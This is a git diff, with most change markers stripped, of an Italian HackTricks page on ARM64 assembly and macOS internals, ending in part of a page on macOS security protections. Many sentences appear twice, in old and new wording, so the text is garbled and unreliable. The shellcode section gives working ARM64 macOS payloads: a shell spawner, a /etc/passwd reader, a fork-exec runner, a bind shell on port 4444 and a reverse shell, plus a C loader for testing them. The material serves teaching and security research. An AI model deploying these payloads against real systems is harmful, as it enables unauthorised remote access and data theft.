* **`tbnz`**: Testa il bit e salta se non zero
* Esempio: `tbnz x0, #8, label`
* **`tbz`**: Testa il bit e salta se zero
* Esempio: `tbz x0, #8, label`
* **`b.ne`**: **Salta se non uguale**. Questa istruzione controlla i flag di condizione (che sono stati impostati da un'istruzione di confronto precedente), e se i valori confrontati non erano uguali, salta a un'etichetta o indirizzo.
* Esempio: Dopo un'istruzione `cmp x0, x1`, `b.ne label` — Se i valori in `x0` e `x1` non erano uguali, questo salta a `label`.
* **`cbz`**: **Confronta e Salta su Zero**. Questa istruzione confronta un registro con zero, e se sono uguali, salta a un'etichetta o indirizzo.
* Esempio: `cbz x0, label` — Se il valore in `x0` è zero, questo salta a `label`.
* **`cbnz`**: **Confronta e Salta su Non-Zero**. Questa istruzione confronta un registro con zero, e se non sono uguali, salta a un'etichetta o indirizzo.
* Esempio: `cbnz x0, label` — Se il valore in `x0` è non-zero, questo salta a `label`.
* **`tbnz`**: Testa il bit e salta se non zero.
* Esempio: `tbnz x0, #8, label`.
* **`tbz`**: Testa il bit e salta se zero.
* Esempio: `tbz x0, #8, label`.
* **Operazioni di selezione condizionale**: Queste sono operazioni il cui comportamento varia a seconda dei bit condizionali.
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Se vero, X0 = X1, se falso, X0 = X2
* `csinc Xd, Xn, Xm, cond` -> Se vero, Xd = Xn, se falso, Xd = Xm + 1
* `cinc Xd, Xn, cond` -> Se vero, Xd = Xn + 1, se falso, Xd = Xn
* `csinv Xd, Xn, Xm, cond` -> Se vero, Xd = Xn, se falso, Xd = NON(Xm)
* `cinv Xd, Xn, cond` -> Se vero, Xd = NON(Xn), se falso, Xd = Xn
* `csneg Xd, Xn, Xm, cond` -> Se vero, Xd = Xn, se falso, Xd = - Xm
* `cneg Xd, Xn, cond` -> Se vero, Xd = - Xn, se falso, Xd = Xn
* `cset Xd, Xn, Xm, cond` -> Se vero, Xd = 1, se falso, Xd = 0
* `csetm Xd, Xn, Xm, cond` -> Se vero, Xd = \<tutti 1>, se falso, Xd = 0
* **`adrp`**: Calcola l'**indirizzo di pagina di un simbolo** e lo memorizza in un registro.
* Esempio: `adrp x0, symbol` — Questo calcola l'indirizzo di pagina di `symbol` e lo memorizza in `x0`.
* **`ldrsw`**: **Carica** un valore firmato **a 32 bit** dalla memoria e **estende il segno a 64** bit.
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Se vero, X0 = X1, se falso, X0 = X2.
* `csinc Xd, Xn, Xm, cond` -> Se vero, Xd = Xn, se falso, Xd = Xm + 1.
* `cinc Xd, Xn, cond` -> Se vero, Xd = Xn + 1, se falso, Xd = Xn.
* `csinv Xd, Xn, Xm, cond` -> Se vero, Xd = Xn, se falso, Xd = NOT(Xm).
* `cinv Xd, Xn, cond` -> Se vero, Xd = NOT(Xn), se falso, Xd = Xn.
* `csneg Xd, Xn, Xm, cond` -> Se vero, Xd = Xn, se falso, Xd = - Xm.
* `cneg Xd, Xn, cond` -> Se vero, Xd = - Xn, se falso, Xd = Xn.
* `cset Xd, Xn, Xm, cond` -> Se vero, Xd = 1, se falso, Xd = 0.
* `csetm Xd, Xn, Xm, cond` -> Se vero, Xd = \<tutti 1>, se falso, Xd = 0.
* **`adrp`**: Calcola l'**indirizzo della pagina di un simbolo** e lo memorizza in un registro.
* Esempio: `adrp x0, symbol` — Questo calcola l'indirizzo della pagina di `symbol` e lo memorizza in `x0`.
* **`ldrsw`**: **Carica** un valore **32-bit** firmato dalla memoria e **estende il segno a 64** bit.
* Esempio: `ldrsw x0, [x1]` — Questo carica un valore firmato a 32 bit dalla posizione di memoria puntata da `x1`, estende il segno a 64 bit e lo memorizza in `x0`.
* **`stur`**: **Memorizza un valore di registro in una posizione di memoria**, utilizzando un offset da un altro registro.
* Esempio: `stur x0, [x1, #4]` — Questo memorizza il valore in `x0` nella posizione di memoria che è 4 byte maggiore rispetto all'indirizzo attualmente in `x1`.
* **`svc`** : Effettua una **chiamata di sistema**. Sta per "Supervisor Call". Quando il processore esegue questa istruzione, **passa dalla modalità utente alla modalità kernel** e salta a una posizione specifica in memoria dove si trova il codice di gestione delle **chiamate di sistema del kernel**.
* Esempio: `stur x0, [x1, #4]` — Questo memorizza il valore in `x0` nell'indirizzo di memoria che è 4 byte maggiore dell'indirizzo attualmente in `x1`.
* **`svc`** : Effettua una **chiamata di sistema**. Sta per "Supervisor Call". Quando il processore esegue questa istruzione, **passa dalla modalità utente alla modalità kernel** e salta a una posizione specifica in memoria dove si trova il codice di gestione delle chiamate di sistema del **kernel**.
* Esempio:
```armasm
@ -238,7 +239,7 @@ svc 0 ; Effettua la chiamata di sistema.
### **Prologo della Funzione**
1. **Salva il registro del link e il puntatore del frame nello stack**:
1. **Salva il registro di link e il puntatore di frame nello stack**:
{% code overflow="wrap" %}
```armasm
@ -246,13 +247,13 @@ stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement t
```
{% endcode %}
2. **Imposta il nuovo frame pointer**: `mov x29, sp` (imposta il nuovo frame pointer per la funzione corrente)
3. **Allocare spazio nello stack per le variabili locali** (se necessario): `sub sp, sp, <size>` (dove `<size>` è il numero di byte necessario)
2. **Imposta il nuovo puntatore di frame**: `mov x29, sp` (imposta il nuovo puntatore di frame per la funzione corrente)
3. **Alloca spazio nello stack per le variabili locali** (se necessario): `sub sp, sp, <size>` (dove `<size>` è il numero di byte necessari)
### **Epilogo della Funzione**
1. **Dealloca le variabili locali (se ne sono state allocate)**: `add sp, sp, <size>`
2. **Ripristina il registro del link e il frame pointer**:
1. **Dealloca le variabili locali (se ne erano state allocate)**: `add sp, sp, <size>`
2. **Ripristina il registro di collegamento e il puntatore di frame**:
{% code overflow="wrap" %}
```armasm
@ -260,16 +261,16 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
```
{% endcode %}
3. **Ritorno**: `ret` (restituisce il controllo al chiamante utilizzando l'indirizzo nel registro di collegamento)
3. **Return**: `ret` (restituisce il controllo al chiamante utilizzando l'indirizzo nel registro di collegamento)
## Stato di esecuzione AARCH32
## Stato di Esecuzione AARCH32
Armv8-A supporta l'esecuzione di programmi a 32 bit. **AArch32** può funzionare in uno dei **due set di istruzioni**: **`A32`** e **`T32`** e può passare da uno all'altro tramite **`interworking`**.\
I programmi **privilegiati** a 64 bit possono pianificare l'**esecuzione di programmi a 32 bit** eseguendo un trasferimento di livello di eccezione al 32 bit a livello di privilegio inferiore.\
Si noti che la transizione da 64 bit a 32 bit avviene con un abbassamento del livello di eccezione (ad esempio un programma a 64 bit in EL1 che attiva un programma in EL0). Ciò viene fatto impostando il **bit 4 di** **`SPSR_ELx`** registro speciale **a 1** quando il thread del processo `AArch32` è pronto per essere eseguito e il resto di `SPSR_ELx` memorizza i programmi **`AArch32`** CPSR. Quindi, il processo privilegiato chiama l'istruzione **`ERET`** in modo che il processore passi a **`AArch32`** entrando in A32 o T32 a seconda di CPSR\*\*.\*\*
I programmi **privilegiati** a 64 bit possono pianificare l'**esecuzione di programmi a 32 bit** eseguendo un trasferimento di livello di eccezione al 32 bit meno privilegiato.\
Si noti che la transizione da 64 bit a 32 bit avviene con una diminuzione del livello di eccezione (ad esempio, un programma a 64 bit in EL1 che attiva un programma in EL0). Questo avviene impostando il **bit 4 di** **`SPSR_ELx`** registro speciale **a 1** quando il thread di processo `AArch32` è pronto per essere eseguito e il resto di `SPSR_ELx` memorizza il **CPSR** dei programmi **`AArch32`**. Poi, il processo privilegiato chiama l'istruzione **`ERET`** affinché il processore transiti a **`AArch32`** entrando in A32 o T32 a seconda del CPSR\*\*.\*\*
L'**`interworking`** avviene utilizzando i bit J e T di CPSR. `J=0` e `T=0` significa **`A32`** e `J=0` e `T=1` significa **T32**. Questo si traduce fondamentalmente nell'impostare il **bit più basso a 1** per indicare che il set di istruzioni è T32.\
Questo viene impostato durante le **istruzioni di branch interworking**, ma può anche essere impostato direttamente con altre istruzioni quando il PC è impostato come registro di destinazione. Esempio:
L'**`interworking`** avviene utilizzando i bit J e T del CPSR. `J=0` e `T=0` significa **`A32`** e `J=0` e `T=1` significa **T32**. Questo si traduce fondamentalmente nell'impostare il **bit più basso a 1** per indicare che il set di istruzioni è T32.\
Questo viene impostato durante le **istruzioni di salto interworking**, ma può anche essere impostato direttamente con altre istruzioni quando il PC è impostato come registro di destinazione. Esempio:
Un altro esempio:
```armasm
@ -284,48 +285,48 @@ mov r0, #8
```
### Registri
Ci sono 16 registri da 32 bit (r0-r15). **Da r0 a r14** possono essere utilizzati per **qualsiasi operazione**, tuttavia alcuni di essi sono di solito riservati:
Ci sono 16 registri a 32 bit (r0-r15). **Da r0 a r14** possono essere utilizzati per **qualsiasi operazione**, tuttavia alcuni di essi sono solitamente riservati:
- **`r15`**: Contatore di programma (sempre). Contiene l'indirizzo dell'istruzione successiva. In A32 corrente + 8, in T32, corrente + 4.
- **`r11`**: Frame Pointer
- **`r12`**: Registro di chiamata intra-procedurale
- **`r13`**: Stack Pointer
- **`r14`**: Link Register
* **`r15`**: Contatore di programma (sempre). Contiene l'indirizzo della prossima istruzione. In A32 corrente + 8, in T32, corrente + 4.
* **`r11`**: Puntatore di Frame
* **`r12`**: Registro di chiamata intra-procedurale
* **`r13`**: Puntatore di Stack
* **`r14`**: Registro di Link
Inoltre, i registri sono salvati nei **`registri bancati`**. Questi sono luoghi che memorizzano i valori dei registri consentendo di eseguire **cambiamenti di contesto veloci** nella gestione delle eccezioni e delle operazioni privilegiate per evitare la necessità di salvare e ripristinare manualmente i registri ogni volta.\
Questo avviene salvando lo stato del processore dal **`CPSR`** al **`SPSR`** della modalità del processore a cui viene gestita l'eccezione. Al ritorno dall'eccezione, il **`CPSR`** viene ripristinato dal **`SPSR`**.
Inoltre, i registri sono supportati in **`registri bancari`**. Questi sono luoghi che memorizzano i valori dei registri consentendo di eseguire **veloci cambi di contesto** nella gestione delle eccezioni e nelle operazioni privilegiate per evitare la necessità di salvare e ripristinare manualmente i registri ogni volta.\
Questo avviene **salvando lo stato del processore dal `CPSR` al `SPSR`** della modalità del processore a cui viene presa l'eccezione. Al ritorno dall'eccezione, il **`CPSR`** viene ripristinato dal **`SPSR`**.
### CPSR - Current Program Status Register
### CPSR - Registro di Stato del Programma Corrente
In AArch32 il CPSR funziona in modo simile a **`PSTATE`** in AArch64 ed è anche memorizzato in **`SPSR_ELx`** quando viene gestita un'eccezione per ripristinare in seguito l'esecuzione:
In AArch32 il CPSR funziona in modo simile a **`PSTATE`** in AArch64 ed è anche memorizzato in **`SPSR_ELx`** quando viene presa un'eccezione per ripristinare successivamente l'esecuzione:
<figure><img src="../../../.gitbook/assets/image (1197).png" alt=""><figcaption></figcaption></figure>
I campi sono divisi in alcuni gruppi:
- Application Program Status Register (APSR): Flag aritmetici e accessibili da EL0
- Execution State Registers: Comportamento del processo (gestito dal sistema operativo).
* Registro di Stato del Programma Applicativo (APSR): Flag aritmetici e accessibili da EL0
* Registri di Stato di Esecuzione: Comportamento del processo (gestito dal sistema operativo).
#### Application Program Status Register (APSR)
#### Registro di Stato del Programma Applicativo (APSR)
- I flag **`N`**, **`Z`**, **`C`**, **`V`** (come in AArch64)
- Il flag **`Q`**: Viene impostato a 1 ogni volta che si verifica una **saturazione intera** durante l'esecuzione di un'istruzione aritmetica di saturazione specializzata. Una volta impostato a **`1`**, manterrà il valore fino a quando non verrà impostato manualmente a 0. Inoltre, non c'è alcuna istruzione che controlla il suo valore implicitamente, deve essere fatto leggendolo manualmente.
- **`GE`** (Greater than or equal) Flags: Viene utilizzato nelle operazioni SIMD (Single Instruction, Multiple Data), come "addizione parallela" e "sottrazione parallela". Queste operazioni consentono di elaborare più punti dati in un'unica istruzione.
* I flag **`N`**, **`Z`**, **`C`**, **`V`** (proprio come in AArch64)
* Il flag **`Q`**: Viene impostato a 1 ogni volta che **si verifica una saturazione intera** durante l'esecuzione di un'istruzione aritmetica specializzata di saturazione. Una volta impostato a **`1`**, manterrà il valore fino a quando non verrà impostato manualmente a 0. Inoltre, non esiste alcuna istruzione che controlli il suo valore implicitamente, deve essere fatto leggendo manualmente.
* Flag **`GE`** (Maggiore o uguale): Viene utilizzato nelle operazioni SIMD (Single Instruction, Multiple Data), come "somma parallela" e "sottrazione parallela". Queste operazioni consentono di elaborare più punti dati in un'unica istruzione.
Ad esempio, l'istruzione **`UADD8`** **aggiunge quattro coppie di byte** (da due operandi da 32 bit) in parallelo e memorizza i risultati in un registro da 32 bit. Quindi **imposta i flag `GE` nell'`APSR`** in base a questi risultati. Ciascun flag GE corrisponde a una delle addizioni di byte, indicando se l'addizione per quella coppia di byte ha **overflowed**.
Ad esempio, l'istruzione **`UADD8`** **somma quattro coppie di byte** (da due operandi a 32 bit) in parallelo e memorizza i risultati in un registro a 32 bit. Imposta quindi **i flag `GE` nell'`APSR`** in base a questi risultati. Ogni flag GE corrisponde a una delle somme di byte, indicando se la somma per quella coppia di byte **è traboccata**.
L'istruzione **`SEL`** utilizza questi flag GE per eseguire azioni condizionali.
#### Execution State Registers
#### Registri di Stato di Esecuzione
- I bit **`J`** e **`T`**: **`J`** dovrebbe essere 0 e se **`T`** è 0 viene utilizzato il set di istruzioni A32, e se è 1 viene utilizzato il set di istruzioni T32.
- **IT Block State Register** (`ITSTATE`): Questi sono i bit da 10 a 15 e da 25 a 26. Memorizzano le condizioni per le istruzioni all'interno di un gruppo con prefisso **`IT`**.
- Bit **`E`**: Indica la **endianness**.
- **Mode and Exception Mask Bits** (0-4): Determinano lo stato di esecuzione corrente. Il quinto indica se il programma viene eseguito come 32 bit (un 1) o 64 bit (un 0). Gli altri 4 rappresentano la **modalità di eccezione attualmente in uso** (quando si verifica un'eccezione e viene gestita). Il numero impostato **indica la priorità corrente** nel caso in cui venga scatenata un'altra eccezione mentre questa viene gestita.
* I bit **`J`** e **`T`**: **`J`** dovrebbe essere 0 e se **`T`** è 0 viene utilizzato il set di istruzioni A32, e se è 1, viene utilizzato il T32.
* **Registro di Stato del Blocco IT** (`ITSTATE`): Questi sono i bit da 10-15 e 25-26. Memorizzano le condizioni per le istruzioni all'interno di un gruppo con prefisso **`IT`**.
* Bit **`E`**: Indica l'**endianness**.
* **Bit di Maschera di Modalità ed Eccezione** (0-4): Determinano lo stato di esecuzione corrente. Il **5°** indica se il programma viene eseguito come 32 bit (un 1) o 64 bit (uno 0). Gli altri 4 rappresentano la **modalità di eccezione attualmente in uso** (quando si verifica un'eccezione e viene gestita). Il numero impostato **indica la priorità corrente** nel caso venga attivata un'altra eccezione mentre questa viene gestita.
<figure><img src="../../../.gitbook/assets/image (1200).png" alt=""><figcaption></figcaption></figure>
- **`AIF`**: Alcune eccezioni possono essere disabilitate utilizzando i bit **`A`**, `I`, `F`. Se **`A`** è 1 significa che verranno scatenati **aborti asincroni**. Il **`I`** configura la risposta alle **Richieste di Interruzione Hardware** esterne (IRQ). e il F è relativo alle **Richieste di Interruzione Rapida** (FIRs).
* **`AIF`**: Alcune eccezioni possono essere disabilitate utilizzando i bit **`A`**, `I`, `F`. Se **`A`** è 1 significa che verranno attivati **aborti asincroni**. L'**`I`** configura per rispondere alle **Richieste di Interruzione** hardware esterne (IRQ). e l'F è relativo alle **Richieste di Interruzione Veloce** (FIR).
## macOS
@ -335,9 +336,9 @@ Controlla [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504
### Trappole Mach
Controlla in [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) la `mach_trap_table` e in [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) i prototipi. Il numero massimo di trappole Mach è `MACH_TRAP_TABLE_COUNT` = 128. Le trappole Mach avranno **x16 < 0**, quindi è necessario chiamare i numeri dalla lista precedente con un **meno**: **`_kernelrpc_mach_vm_allocate_trap`** è **`-10`**.
Controlla in [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) la `mach_trap_table` e in [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) i prototipi. Il numero massimo di trappole Mach è `MACH_TRAP_TABLE_COUNT` = 128. Le trappole Mach avranno **x16 < 0**, quindi è necessario chiamare i numeri dall'elenco precedente con un **meno**: **`_kernelrpc_mach_vm_allocate_trap`** è **`-10`**.
Puoi anche controllare **`libsystem_kernel.dylib`** in un disassemblatore per capire come chiamare queste chiamate di sistema (e BSD):
Puoi anche controllare **`libsystem_kernel.dylib`** in un disassemblatore per trovare come chiamare queste (e BSD) chiamate di sistema:
{% code overflow="wrap" %}
```bash
@ -349,31 +350,33 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
```
{% endcode %}
Nota che **Ida** e **Ghidra** possono anche decompilare **dylibs specifici** dalla cache semplicemente passando attraverso la cache.
{% hint style="success" %}
A volte è più facile controllare il codice **decompilato** da **`libsystem_kernel.dylib`** **piuttosto che** controllare il **codice sorgente** perché il codice di diverse chiamate di sistema (BSD e Mach) è generato tramite script (controlla i commenti nel codice sorgente) mentre nella dylib puoi trovare cosa viene chiamato.
A volte è più facile controllare il codice **decompilato** di **`libsystem_kernel.dylib`** **che** controllare il **codice sorgente** perché il codice di diverse syscalls (BSD e Mach) è generato tramite script (controlla i commenti nel codice sorgente) mentre nella dylib puoi trovare cosa viene chiamato.
{% endhint %}
### chiamate machdep
XNU supporta un altro tipo di chiamate chiamate dipendenti dalla macchina. Il numero di queste chiamate dipende dall'architettura e né le chiamate né i numeri sono garantiti di rimanere costanti.
XNU supporta un altro tipo di chiamate chiamate dipendenti dalla macchina. I numeri di queste chiamate dipendono dall'architettura e né le chiamate né i numeri sono garantiti per rimanere costanti.
### pagina comm
Questa è una pagina di memoria proprietaria del kernel che viene mappata nello spazio degli indirizzi di ogni processo utente. È pensata per rendere più veloce la transizione dalla modalità utente allo spazio kernel rispetto all'utilizzo di chiamate di sistema per servizi kernel che vengono utilizzati così tanto che questa transizione sarebbe molto inefficiente.
Questa è una pagina di memoria di proprietà del kernel che è mappata nello spazio degli indirizzi di ogni processo utente. È progettata per rendere la transizione dalla modalità utente allo spazio kernel più veloce rispetto all'uso di syscalls per i servizi del kernel che vengono utilizzati così tanto che questa transizione sarebbe molto inefficiente.
Ad esempio, la chiamata `gettimeofdate` legge il valore di `timeval` direttamente dalla pagina comm.
### objc\_msgSend
È molto comune trovare questa funzione utilizzata nei programmi Objective-C o Swift. Questa funzione consente di chiamare un metodo di un oggetto Objective-C.
È molto comune trovare questa funzione utilizzata in programmi Objective-C o Swift. Questa funzione consente di chiamare un metodo di un oggetto Objective-C.
Parametri ([più informazioni nella documentazione](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)):
Parametri ([maggiori informazioni nella documentazione](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)):
* x0: self -> Puntatore all'istanza
* x1: op -> Selettore del metodo
* x2... -> Resto degli argomenti del metodo invocato
Quindi, se imposti un breakpoint prima del salto a questa funzione, puoi facilmente trovare cosa viene invocato in lldb con (in questo esempio l'oggetto chiama un oggetto da `NSConcreteTask` che eseguirà un comando):
Quindi, se metti un breakpoint prima del ramo a questa funzione, puoi facilmente trovare cosa viene invocato in lldb con (in questo esempio l'oggetto chiama un oggetto da `NSConcreteTask` che eseguirà un comando):
```bash
# Right in the line were objc_msgSend will be called
(lldb) po $x0
@ -394,26 +397,26 @@ whoami
{% hint style="success" %}
Impostando la variabile di ambiente **`NSObjCMessageLoggingEnabled=1`** è possibile registrare quando questa funzione viene chiamata in un file come `/tmp/msgSends-pid`.
Inoltre, impostando **`OBJC_HELP=1`** e chiamando qualsiasi binario è possibile visualizzare altre variabili di ambiente che potresti utilizzare per **registrare** quando avvengono determinate azioni Objc-C.
Inoltre, impostando **`OBJC_HELP=1`** e chiamando qualsiasi binario puoi vedere altre variabili di ambiente che potresti usare per **log** quando si verificano determinate azioni Objc-C.
{% endhint %}
Quando questa funzione viene chiamata, è necessario trovare il metodo chiamato dell'istanza indicata, per questo vengono effettuate ricerche diverse:
Quando questa funzione viene chiamata, è necessario trovare il metodo chiamato dell'istanza indicata, per questo vengono effettuate diverse ricerche:
* Eseguire una ricerca nella cache ottimistica:
* Se ha successo, finito
* Acquisire runtimeLock (lettura)
* Se (realize && !cls->realized) realizzi la classe
* Esegui la ricerca della cache ottimistica:
* Se ha successo, fatto
* Acquisisci runtimeLock (lettura)
* Se (realize && !cls->realized) realizza la classe
* Se (initialize && !cls->initialized) inizializza la classe
* Prova la cache della classe stessa:
* Se ha successo, finito
* Prova la cache della classe:
* Se ha successo, fatto
* Prova l'elenco dei metodi della classe:
* Se trovato, riempi la cache e finito
* Se trovato, riempi la cache e fatto
* Prova la cache della superclasse:
* Se ha successo, finito
* Se ha successo, fatto
* Prova l'elenco dei metodi della superclasse:
* Se trovato, riempi la cache e finito
* Se (resolver) prova il risolutore del metodo e ripeti dalla ricerca della classe
* Se ancora qui (= tutto il resto è fallito) prova il forwarder
* Se trovato, riempi la cache e fatto
* Se (resolver) prova il risolutore di metodi e ripeti dalla ricerca della classe
* Se sei ancora qui (= tutto il resto è fallito) prova il forwarder
### Shellcodes
@ -432,7 +435,7 @@ for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ;
echo -n '\\x'$c
done
```
Per macOS più recenti:
Per le versioni più recenti di macOS:
```bash
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
@ -441,7 +444,7 @@ done
```
<details>
<summary>Codice C per testare lo shellcode</summary>
<summary>Codice C per testare il shellcode</summary>
```c
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
@ -491,7 +494,7 @@ return 0;
#### Shell
Prelevato da [**qui**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) e spiegato.
Preso da [**qui**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) e spiegato.
{% tabs %}
{% tab title="con adr" %}
@ -561,7 +564,7 @@ sh_path: .asciz "/bin/sh"
{% endtab %}
{% endtabs %}
#### Leggere con cat
#### Leggi con cat
L'obiettivo è eseguire `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, quindi il secondo argomento (x1) è un array di parametri (che in memoria significa uno stack degli indirizzi).
```armasm
@ -589,7 +592,7 @@ cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
```
#### Esegui il comando con sh da una fork in modo che il processo principale non venga ucciso
#### Esegui il comando con sh da un fork in modo che il processo principale non venga terminato
```armasm
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
@ -633,9 +636,9 @@ sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
```
#### Shell di bind
#### Bind shell
Shell di bind da [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) sulla **porta 4444**
Bind shell da [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) in **porta 4444**
```armasm
.section __TEXT,__text
.global _main
@ -717,7 +720,7 @@ mov x2, xzr
mov x16, #59
svc #0x1337
```
#### Shell inversa
#### Reverse shell
Da [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s), revshell a **127.0.0.1:4444**
```armasm
@ -787,16 +790,16 @@ mov x16, #59
svc #0x1337
```
{% hint style="success" %}
Impara e pratica l'hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Impara e pratica il hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Sostieni HackTricks</summary>
<summary>Supporta HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# macOS Security Protections
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
## Gatekeeper
Gatekeeper è solitamente usato per riferirsi alla combinazione di **Quarantine + Gatekeeper + XProtect**, 3 moduli di sicurezza di macOS che tenteranno di **prevenire gli utenti dall'eseguire software potenzialmente dannoso scaricato**.
Gatekeeper è solitamente usato per riferirsi alla combinazione di **Quarantine + Gatekeeper + XProtect**, 3 moduli di sicurezza di macOS che cercheranno di **prevenire gli utenti dall'eseguire software potenzialmente dannoso scaricato**.
More information in:
@ -27,6 +27,10 @@ More information in:
## Processes Limitants
### MACF
### SIP - System Integrity Protection
{% content-ref url="macos-sip.md" %}
@ -51,7 +55,7 @@ La Sandbox di macOS **limita le applicazioni** in esecuzione all'interno della s
### Launch/Environment Constraints & Trust Cache
I vincoli di avvio in macOS sono una funzionalità di sicurezza per **regolare l'inizio dei processi** definendo **chi può avviare** un processo, **come** e **da dove**. Introdotti in macOS Ventura, categorizzano i binari di sistema in categorie di vincolo all'interno di una **cache di fiducia**. Ogni binario eseguibile ha **regole** impostate per il suo **avvio**, inclusi vincoli di **auto**, **genitore** e **responsabile**. Estesi alle app di terze parti come **Environment** Constraints in macOS Sonoma, queste funzionalità aiutano a mitigare potenziali sfruttamenti del sistema regolando le condizioni di avvio dei processi.
I vincoli di avvio in macOS sono una funzionalità di sicurezza per **regolare l'inizio dei processi** definendo **chi può avviare** un processo, **come** e **da dove**. Introdotti in macOS Ventura, categorizzano i binari di sistema in categorie di vincolo all'interno di un **trust cache**. Ogni binario eseguibile ha **regole** stabilite per il suo **avvio**, inclusi vincoli **self**, **parent** e **responsible**. Estesi alle app di terze parti come **Environment** Constraints in macOS Sonoma, queste funzionalità aiutano a mitigare potenziali sfruttamenti del sistema regolando le condizioni di avvio dei processi.
{% content-ref url="macos-launch-environment-constraints.md" %}
[macos-launch-environment-constraints.md](macos-launch-environment-constraints.md)
@ -76,9 +80,9 @@ L'applicazione MRT si trova in **`/Library/Apple/System/Library/CoreServices/MRT
<figure><img src="../../../.gitbook/assets/image (1183).png" alt=""><figcaption></figcaption></figure>
Questo funziona con un **daemon** situato in `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/backgroundtaskmanagementd` e l'**agente** in `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Support/BackgroundTaskManagementAgent.app`
Questo funziona con un **daemon** situato in `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/backgroundtaskmanagementd` e l'**agent** in `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Support/BackgroundTaskManagementAgent.app`
